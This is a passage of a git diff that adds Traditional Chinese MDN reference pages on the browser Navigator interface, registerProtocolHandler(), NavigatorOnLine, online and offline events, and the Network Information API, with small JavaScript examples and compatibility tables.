+ <dd>Always returns <code>'Gecko'</code>, on any browser. This property is kept only for compatibility purpose.</dd>
+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd>
+ <dt>{{domxref("Navigator.storage")}} {{readonlyinline}}</dt>
+ <dd>Returns the singleton {{domxref('StorageManager')}} object used for managing persistance permissions and estimating available storage on a site-by-site/app-by-app basis.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Returns the user agent string for the current browser.</dd>
+</dl>
+
+<h3 id="Methods" name="Methods">Non-standard</h3>
+
+<div class="note">
+<p>Firefox OS devices adds more non-standard properties. You can consult them on the <a href="/en-US/docs/Mozilla/Firefox_OS/API/Navigator">Firefox OS Navigator extensions article</a>.</p>
+</div>
+
+ <dl>
+ <dt>{{domxref("Navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Returns the build identifier of the browser (e.g., "2006090803").</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}</dt>
+ <dd>Returns a boolean indicating whether cookies are enabled in the browser or not.</dd>
+ <dt>{{domxref("Navigator.credentials")}} {{non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("CredentialsContainer")}} interface which exposes methods to request credentials and notify the user agent when interesting events occur such as successful sign in or sign out. </dd>
+ <dt>{{domxref("Navigator.doNotTrack")}} {{non-standard_inline}}</dt>
+ <dd>Reports the value of the user's do-not-track preference. When this value is "yes", your web site or application should not track the user.</dd>
+ <dt>{{domxref("Navigator.id")}} {{non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("window.navigator.id", "id")}} object which you can use to add support for <a href="/en-US/docs/BrowserID" title="BrowserID">BrowserID</a> to your web site.</dd>
+ <dt>{{domxref("Navigator.mediaDevices")}} {{non-standard_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("MediaDevices")}} object which can then be used to get information about available media devices ({{domxref("MediaDevices.enumerateDevices()")}}), find out what constrainable properties are supported for media on the user's computer and user agent ({{domxref("MediaDevices.getSupportedConstraints()")}}), and to request access to media using {{domxref("MediaDevices.getUserMedia()")}}.</dd>
+ <dt>{{domxref("Navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}<br>
+ {{domxref("Navigator.webkitNotification")}}</dt>
+ <dd>Returns a {{domxref("navigator.mozNotification", "notification")}} object you can use to deliver notifications to the user from your web application.</dd>
+ <dt>{{domxref("Navigator.mozSocial")}} {{non-standard_inline}}</dt>
+ <dd>The Object, returned by the <code>navigator.mozSocial</code> property, is available within the social media provider's panel to provide functionality it may need.</dd>
+ <dt>{{domxref("Navigator.presentation")}} {{non-standard_inline}}</dt>
+ <dd>Returns a reference to the {{domxref("Presentation")}} API.</dd>
+ <dt>{{domxref("Navigator.productSub")}} {{non-standard_inline}}</dt>
+ <dd>Returns the build number of the current browser (e.g., "20060909").</dd>
+ <dt>{{domxref("Navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Returns an empty string. In Netscape 4.7x, returns "US &amp; CA domestic policy" or "Export policy".</dd>
+ <dt>{{domxref("Navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.</dd>
+ <dt>{{domxref("Navigator.storageQuota")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref('StorageQuota')}} interface which provides means to query and request storage usage and quota information.</dd>
+ <dt>{{domxref("Navigator.vendor")}} {{non-standard_inline}}</dt>
+ <dd>Returns the vendor name of the current browser (e.g., "Netscape6").</dd>
+ <dt>{{domxref("Navigator.vendorSub")}} {{non-standard_inline}}</dt>
+ <dd>Returns the vendor version number (e.g. "6.1").</dd>
+ <dt>{{domxref("Navigator.webkitPointer")}} {{non-standard_inline}}</dt>
+ <dd>Returns a PointerLock object for the <a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API">Mouse Lock API</a>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<p><em>Doesn't inherit any method, but implements those defined in {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, <em>{{domxref("NavigatorUserMedia")}}, </em>and {{domxref("NavigatorStorageUtils")}}.</em></p>
+
+<h3 id="Standard">Standard</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.getVRDisplays()")}} {{experimental_inline}}</dt>
+ <dd>Returns a promise that resolves to an array of {{domxref("VRDisplay")}} objects representing any available VR devices connected to the computer.</dd>
+ <dt>{{domxref("Navigator.getUserMedia", "Navigator.getUserMedia()")}} {{experimental_inline}}</dt>
+ <dd>After having prompted the user for permission, returns the audio or video stream associated to a camera or microphone on the local computer.</dd>
+ <dt>{{domxref("Navigator.registerContentHandler()")}}</dt>
+ <dd>Allows web sites to register themselves as a possible handler for a given MIME type.</dd>
+ <dt>{{domxref("Navigator.registerProtocolHandler()")}}</dt>
+ <dd>Allows web sites to register themselves as a possible handler for a given protocol.</dd>
+ <dt>{{domxref("Navigator.requestMediaKeySystemAccess()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <span style="line-height: 19.0909080505371px;">{{jsxref("Promise")}} for a MediaKeySystemAccess object.</span></dd>
+ <dt>{{domxref("Navigator.sendBeacon()")}}{{experimental_inline}}</dt>
+ <dd>Used to asynchronously transfer a small amount of data using {{Glossary("HTTP")}} from the User Agent to a web server.</dd>
+ <dt>{{domxref("Navigator.share()")}}{{experimental_inline}}</dt>
+ <dd>Invokes the native sharing mechanism of the current platform.</dd>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt>
+ <dd>Returns <code>false</code>. JavaScript taint/untaint functions removed in JavaScript 1.2.</dd>
+ <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt>
+ <dd>Causes vibration on devices with support for it. Does nothing if vibration support isn't available.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Non-standard</h3>
+
+<div class="note">
+<p>Firefox OS devices adds more non-standard methods. You can consult them on the <a href="/en-US/docs/Mozilla/Firefox_OS/API/Navigator">Firefox OS Navigator extensions article</a>.</p>
+</div>
+
+<p>{{domxref("Navigator.mozIsLocallyAvailable()")}} {{non-standard_inline}}</p>
+
+<dl>
+ <dd>Lets code check to see if the document at a given URI is available without using the network.</dd>
+ <dt>{{domxref("Navigator.mozPay()")}} {{non-standard_inline}}</dt>
+ <dd>Allows in-app payment.</dd>
+</dl>
diff --git a/files/zh-tw/web/api/navigator/registerprotocolhandler/index.html b/files/zh-tw/web/api/navigator/registerprotocolhandler/index.html
new file mode 100644
index 0000000000..2ffd20da9d
--- /dev/null
+++ b/files/zh-tw/web/api/navigator/registerprotocolhandler/index.html
@@ -0,0 +1,170 @@
+---
+title: Navigator.registerProtocolHandler()
+slug: Web/API/Navigator/registerProtocolHandler
+translation_of: Web/API/Navigator/registerProtocolHandler
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>In progress. Allows web sites to register themselves as possible handlers for particular protocols.</p>
+
+<p>For security reasons, by default, web sites may only register protocol handlers for themselves — the domain and protocol of the handler must match the current site. However, users may set a preference in Firefox to allow cross website installation, by setting the <code>gecko.handlerService.allowRegisterFromDifferentHost</code> pref to <code>true</code> in about:config.</p>
+
+<p>Extensions can register protocol handlers targeting other sites: see the 'See Also' section for how to use them from XPCOM.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">window.navigator.registerProtocolHandler(<em>protocol</em>, <em>url</em>, <em>title</em>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>protocol</code></dt>
+ <dd>The protocol the site wishes to handle, specified as a string. For example, you can register to handle SMS text message links by registering to handle the "sms" scheme.</dd>
+ <dt><code>url</code></dt>
+ <dd>The URL of the handler, as a string. This string should include "%s" as a placeholder which will be replaced with the escaped URL of the document to be handled. This URL might be a true URL, or it could be a phone number, email address, or so forth.
+ <div class="note">The handler's URL must use one of "http" or "https" as its scheme.</div>
+ </dd>
+ <dt><code>title</code></dt>
+ <dd>A user-readable title string for the protocol handler. This will be displayed to the user in interface objects as needed.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>The user agent blocked registration of the protocol handler. This might happen if an invalid scheme is specified, such as "http", which cannot be registered for obvious security reasons.</dd>
+ <dt><code>SyntaxError</code></dt>
+ <dd>The "%s" string is missing from the specified protocol handler URL.</dd>
+</dl>
+
+<h2 id="Permitted_schemes">Permitted schemes</h2>
+
+<p>For security reasons, <code>registerProtocolHandler()</code> has restrictions on which schemes may be registered. A custom scheme may be registered as long as the scheme's name begins with "web+", is at least five characters long (including the "web+" prefix), and has only lower-case ASCII letters in its name. For example, "web+burger", as shown in the {{anch("Example")}} below.</p>
+
+<p>Otherwise, the scheme must be one of the schemes on the whitelist below:</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>bitcoin</code></li>
+ <li><code>geo</code></li>
+ <li><code>im</code></li>
+ <li><code>irc</code></li>
+ <li><code>ircs</code></li>
+ <li><code>magnet</code></li>
+ <li><code>mailto</code></li>
+ <li><code>mms</code></li>
+ <li><code>news</code></li>
+ <li><code>nntp</code></li>
+ <li><code>sip</code></li>
+ <li><code>sms</code></li>
+ <li><code>smsto</code></li>
+ <li><code>ssh</code></li>
+ <li><code>tel</code></li>
+ <li><code>urn</code></li>
+ <li><code>webcal</code></li>
+ <li><code>wtai</code></li>
+ <li><code>xmpp</code></li>
+</ul>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<p>If your web application is located at <code>http://www.google.co.uk</code>, you can register a protocol handler for it to handle "web+burger" links like this:</p>
+
+<pre class="brush: js">navigator.registerProtocolHandler("web+burger",
+                                  "https://www.google.co.uk/?uri=%s",
+                                  "Burger handler");
+</pre>
+
+<p>This creates a handler that allows <code>web+burger://</code> links to direct the user to your web application, inserting the burger information specified in the link into the URL. Recall that this script must be run from the same domain (so any page location at <code>google.co.uk</code>) and the second argument passed must be of <code>http</code> or <code>https</code> scheme (in this example it is <code>https</code>) .</p>
+
+<p>The user will be notified that your code has asked to register the protocol handler, so that they can decide whether or not to permit it. See the screenshot below for an example.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9683/protocolregister.png"></p>
+
+<div class="note">
+<p>"<a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#Getting_most_recent_window">Register a webmail service as mailto handler</a>" shows how to do this from XPCOM scope.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-navigator-registerprotocolhandler', 'registerProtocolHandler()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>13<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("3.5")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Protocol whitelist includes <code>mailto</code>, <code>mms</code>, <code>nntp</code>, <code>rtsp</code>, and <code>webcal</code>. Custom protocols must be prefixed with <code>web+</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web-based_protocol_handlers">Web-based protocol handlers</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/registerContentHandler">Navigator.registerContentHandler()</a></li>
+ <li><a href="http://blog.mozilla.com/webdev/2010/07/26/registerprotocolhandler-enhancing-the-federated-web/">RegisterProtocolHandler Enhancing the Federated Web</a> at Mozilla Webdev</li>
+ <li><a href="https://html.spec.whatwg.org/multipage/system-state.html#custom-handlers">Web Application APIs - Custom scheme and content handlers</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#Getting_most_recent_window">Register a webmail service as mailto handler</a> shows how to do <code>registerProtocolHandler</code> from XPCOM scope.</li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#registerProtocolHandler">XPCOM Interface Reference &gt; nsIWebContentHandlerRegistrar &gt; registerContentHandler</a> - This shows how to use this function XPCOM scope</li>
+</ul>
diff --git a/files/zh-tw/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html b/files/zh-tw/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html
new file mode 100644
index 0000000000..f32ac8ca88
--- /dev/null
+++ b/files/zh-tw/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html
@@ -0,0 +1,28 @@
+---
+title: Firefox 3 Web-based protocol handler
+slug: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+translation_of: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+---
+<h3 id=".E6.91.98.E8.A6.81" name=".E6.91.98.E8.A6.81">摘要</h3>
+<p>window.navigator.registerProtocolHandler 讓網站可以將自己註冊為特定通訊協定的處理者。</p>
+<h3 id=".E8.AA.9E.E6.B3.95" name=".E8.AA.9E.E6.B3.95">語法</h3>
+<pre>window.navigator.registerProtocolHandler(protocol, uri, title);</pre>
+<ul>
+ <li>protocol 是網站想要處理的 protocol 名稱，用字串表示。</li>
+ <li>uri 是要給 handler 處理的 URI 字串。你可以在字串裡用 "%s" 來代表 escaped 過、需要處理的 URI。</li>
+ <li>title 是 handler 的 title，會以字串的形式呈現給使用者。</li>
+</ul>
+<h3 id=".E4.BE.8B.E5.AD.90" name=".E4.BE.8B.E5.AD.90">例子</h3>
+<pre>navigator.registerProtocolHandler("mailto",
+                                 "https://mail.google.com/mail?view=cm&amp;tf=0&amp;to=%s",
+                                 "Google Mail");
+</pre>
+<p>這會建立一個 handler，它允許 mailto 的鏈結將使用者帶到 Google Mail，將鏈結中指定的 email 位址插入到 URL。</p>
+<h3 id=".E5.8F.83.E8.80.83.E8.B3.87.E6.96.99" name=".E5.8F.83.E8.80.83.E8.B3.87.E6.96.99">參考資料</h3>
+<ol>
+ <li><a class="external" href="http://developer.mozilla.org/en/docs/DOM:window.navigator.registerProtocolHandler">DOM:window.navigator.registerProtocolHandler 原始網頁</a></li>
+</ol>
+<h3 id=".E5.BB.B6.E4.BC.B8.E9.96.B1.E8.AE.80" name=".E5.BB.B6.E4.BC.B8.E9.96.B1.E8.AE.80">延伸閱讀</h3>
+<ol>
+ <li>WHATWG's <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">Web Applications 1.0 working draft</a></li>
+</ol>
diff --git a/files/zh-tw/web/api/navigatoronline/index.html b/files/zh-tw/web/api/navigatoronline/index.html
new file mode 100644
index 0000000000..6e6eafaa48
--- /dev/null
+++ b/files/zh-tw/web/api/navigatoronline/index.html
@@ -0,0 +1,129 @@
+---
+title: NavigatorOnLine
+slug: Web/API/NavigatorOnLine
+translation_of: Web/API/NavigatorOnLine
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>In progress The <code><strong>NavigatorOnLine</strong></code> interface contains methods and properties related to the connectivity status of the browser.</p>
+
+<p>There is no object of type <code>NavigatorOnLine</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorOnLine</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorOnLine</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+ <li><a href="/en-US/docs/Web/API/NavigatorOnLine/Online_and_offline_events">Online and offline events</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/navigatoronline/online_and_offline_events/index.html b/files/zh-tw/web/api/navigatoronline/online_and_offline_events/index.html
new file mode 100644
index 0000000000..c8bf629d8c
--- /dev/null
+++ b/files/zh-tw/web/api/navigatoronline/online_and_offline_events/index.html
@@ -0,0 +1,101 @@
+---
+title: Firefox 3 Online and Offline Events
+slug: Web/API/NavigatorOnLine/Online_and_offline_events
+translation_of: Web/API/NavigatorOnLine/Online_and_offline_events
+---
+<p>Firefox 3 Online and Offline Events From MoztwWiki</p>
+<p>Firefox 3 依據 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WHATWG Web Applications 1.0 Specification</a> 實做了 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">Offline/Online Events</a>。</p>
+<h3 id=".E6.A6.82.E8.A7.80" name=".E6.A6.82.E8.A7.80">概觀</h3>
+<p>打造可以離線跑的網路應用程式時，我們往往需要讓程式知道目前的網路狀況。實際上，網路應用程式一般的需求可細分如下：</p>
+<ul>
+ <li>使用者連上網路的時候，網路應用程式必須知道—使用者已經連上網路了，以便與伺服器同步(re-synchronize)。</li>
+ <li>使用者離線的時候，網路應用程式必須知道—使用者目前處於離線狀態，以便將使用者對伺服器發出的 requests 排入隊列(queue)。</li>
+</ul>
+<p>有了 Online/offline events，要滿足這些需求變得很簡單。</p>
+<p>此外，你的網路應用程式有時可能必須將某些 HTML 文件列入快取中，以便使用者離線時可以存取，如有這個需求，你可以在 HTML 文件的 &lt;HEAD&gt; 加入 &lt;link&gt; 元素：</p>
+<pre>&lt;link rel="offline-resource" href="myresource"&gt;</pre>
+<p>Firefox 3 看到這些語法時，就會將這些資源列入一個特殊的離線資源快取(offline resource cache)中，讓使用者在離線時，依舊可以被存取這些資源。</p>
+<h3 id="API" name="API">API</h3>
+<h4 id="navigator.onLine" name="navigator.onLine">navigator.onLine</h4>
+<dl>
+ <dd>
+  avigator.onLine 是一個 property，其值可為 true/false (true 代表 online, false 代表 offline)。當使用者將瀏覽器切換成 Offline Mode 時(透過 主選單 -&gt; 檔案 -&gt; 離線模式)，這個 property 就會被更新。</dd>
+</dl>
+<dl>
+ <dd>
+  除此之外，根據規格書的建議，在瀏覽器無法連接到網路時，也應該更新這個 property。規格書上是這樣寫的：</dd>
+ <dd>
+  <blockquote>
+   The navigator.onLine attribute must return false if the user agent will not contact the network when the user follows links or when a script requests a remote page (or knows that such an attempt would fail)...</blockquote>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  Firefox 2 在我們將瀏覽器切換成為離線模式、或離開離線模式時，會更新這個 property，在失去網路連線、或重新連線到網路時，也會更新這個 property。</dd>
+</dl>
+<dl>
+ <dd>
+  在比較老的 Firefox 與 Internet Explorer 版本，也有支援這個 property (事實上，規格書是依據這些之前版本的實做結果來制定的)，所以現在就可以馬上開始使用它。</dd>
+</dl>
+<dl>
+ <dd>
+  但「自動偵測網路狀況」是在 Firefox 2 中才實做出來。</dd>
+</dl>
+<h4 id="online_and_offline_events" name="online_and_offline_events">online and offline events</h4>
+<dl>
+ <dd>
+  Firefox 3 新增了兩個 events 的支援： "online" 及 "offline"。當我們切換瀏覽器的 online/offline 狀態時，就會對每個頁面的 &lt;body&gt; 觸發這兩個事件。除此之外，這兩個事件會從 document.body bubble up 到 document，到 window 才結束。這兩個事件都是 non-cancellable 的(因為你無法防止使用者連線到網路、或離線)。</dd>
+</dl>
+<dl>
+ <dd>
+  有好幾種你熟悉的方式可以用來註冊這兩個事件的 listeners：</dd>
+</dl>
+<dl>
+ <dd>
+  <ul>
+   <li>對 window, document 或 document.body 使用 addEventListener。</li>
+   <li>對 document 或 document.body 設定 .ononline 或 .onoffline properties 作為一個 JavaScript Function object. (注意： 使用 window.ononline 或 window.onoffline 無法作用，這是為了相容性。)</li>
+   <li>在 html 文件的 &lt;body&gt; 指定 ononline="..." 或 onoffline="..." attributes。</li>
+  </ul>
+ </dd>
+</dl>
+<h3 id=".E4.BE.8B.E5.AD.90" name=".E4.BE.8B.E5.AD.90">例子</h3>
+<p>這裡有個<a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">簡單的例子</a>。</p>
+<pre>&lt;!doctype html&gt;
+ &lt;html&gt;
+ &lt;head&gt;
+   &lt;script&gt;
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
+       log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   &lt;/script&gt;
+   &lt;style&gt;...&lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body onload="loaded()"&gt;
+   &lt;div id="status"&gt;&lt;p id="state"&gt;&lt;/p&gt;&lt;/div&gt;
+   &lt;div id="log"&gt;&lt;/div&gt;
+ &lt;/body&gt;
+ &lt;/html&gt;</pre>
+<h3 id=".E5.8F.83.E8.80.83.E8.B3.87.E6.96.99" name=".E5.8F.83.E8.80.83.E8.B3.87.E6.96.99">參考資料</h3>
+<ul>
+ <li><a class="external" href="http://developer.mozilla.org/en/docs/Online_and_offline_events">Online and Offline Events 原始網頁</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">'Online/Offline events' section from the WHATWG Web Applications 1.0 Specification</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">The bug tracking online/offline events implementation in Firefox</a> and <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">Follow-up</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">一個簡單的例子</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/offline-events/">An explanation of Online/Offline events</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/network_information_api/index.html b/files/zh-tw/web/api/network_information_api/index.html
new file mode 100644
index 0000000000..c7f24856a4
--- /dev/null
+++ b/files/zh-tw/web/api/network_information_api/index.html
@@ -0,0 +1,46 @@
+---
+title: Network Information API
+slug: Web/API/Network_Information_API
+translation_of: Web/API/Network_Information_API
+---
+<p>{{ SeeCompatTable() }}</p>
+<p>Network Information API 將提供系統連線的相關資訊，如使用者裝置的現有頻寬，或目前的連線狀態。根據使用者的連線情形，可進一步選擇高解析度或低解析度的內容。此完整的 API 另包含 domxref("Connection") 介面，以及 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator" title="The Navigator interface represents the state and the identiy of the user agent. It allows scripts to query it and to register themselves to carry on some activities."><code>Navigator</code></a> 介面的單一屬性 ─ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator.connection" title="The NetworkInformation.connection read-only property represents a Connection containing information about the system's connection, such as the current bandwidth of the user's device or whether the connection is metered. This could be used to select high d"><code>Navigator.connection</code></a>。</p>
+<h2 id="偵測連線變化">偵測連線變化</h2>
+<p>此範例將觀察使用者連線的變化。舉例來說，當使用者從高價位連線轉用低價位連線時，就會降低頻寬需求以避免連線費用暴增，並採用類似 Apps 受到警示的方法。</p>
+<pre class="brush: js">var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+
+function updateConnectionStatus() {
+  alert("Connection bandwidth: " + connection.bandwidth + " MB/s");
+  if (connection.metered) {
+    alert("The connection is metered!");
+  }
+}
+
+connection.addEventListener("change", updateConnectionStatus);
+updateConnectionStatus();
+</pre>
+<h2 id="Specifications" name="Specifications">規格</h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Specification</th>
+      <th scope="col">Status</th>
+      <th scope="col">Comment</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>{{ SpecName('Network Information', '', 'Network Information API') }}</td>
+      <td>{{ Spec2('Network Information') }}</td>
+      <td>Initial specification</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+<p>{{Page('/en-US/docs/Web/API/window.navigator.connection','Browser compatibility')}}</p>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li>{{ spec("http://dvcs.w3.org/hg/dap/raw-file/tip/network-api/Overview.html", "Network Information API Specification", "ED") }}</li>
+  <li><a href="/en/Online_and_offline_events" title="en/Online_and_offline_events">線上與離線事件</a></li>
+  <li>{{domxref("window.navigator.connection")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/node/childnodes/index.html b/files/zh-tw/web/api/node/childnodes/index.html
new file mode 100644
index 0000000000..a828bd781b
--- /dev/null
+++ b/files/zh-tw/web/api/node/childnodes/index.html
@@ -0,0 +1,66 @@
+---
+title: Node.childNodes
+slug: Web/API/Node/childNodes
+translation_of: Web/API/Node/childNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
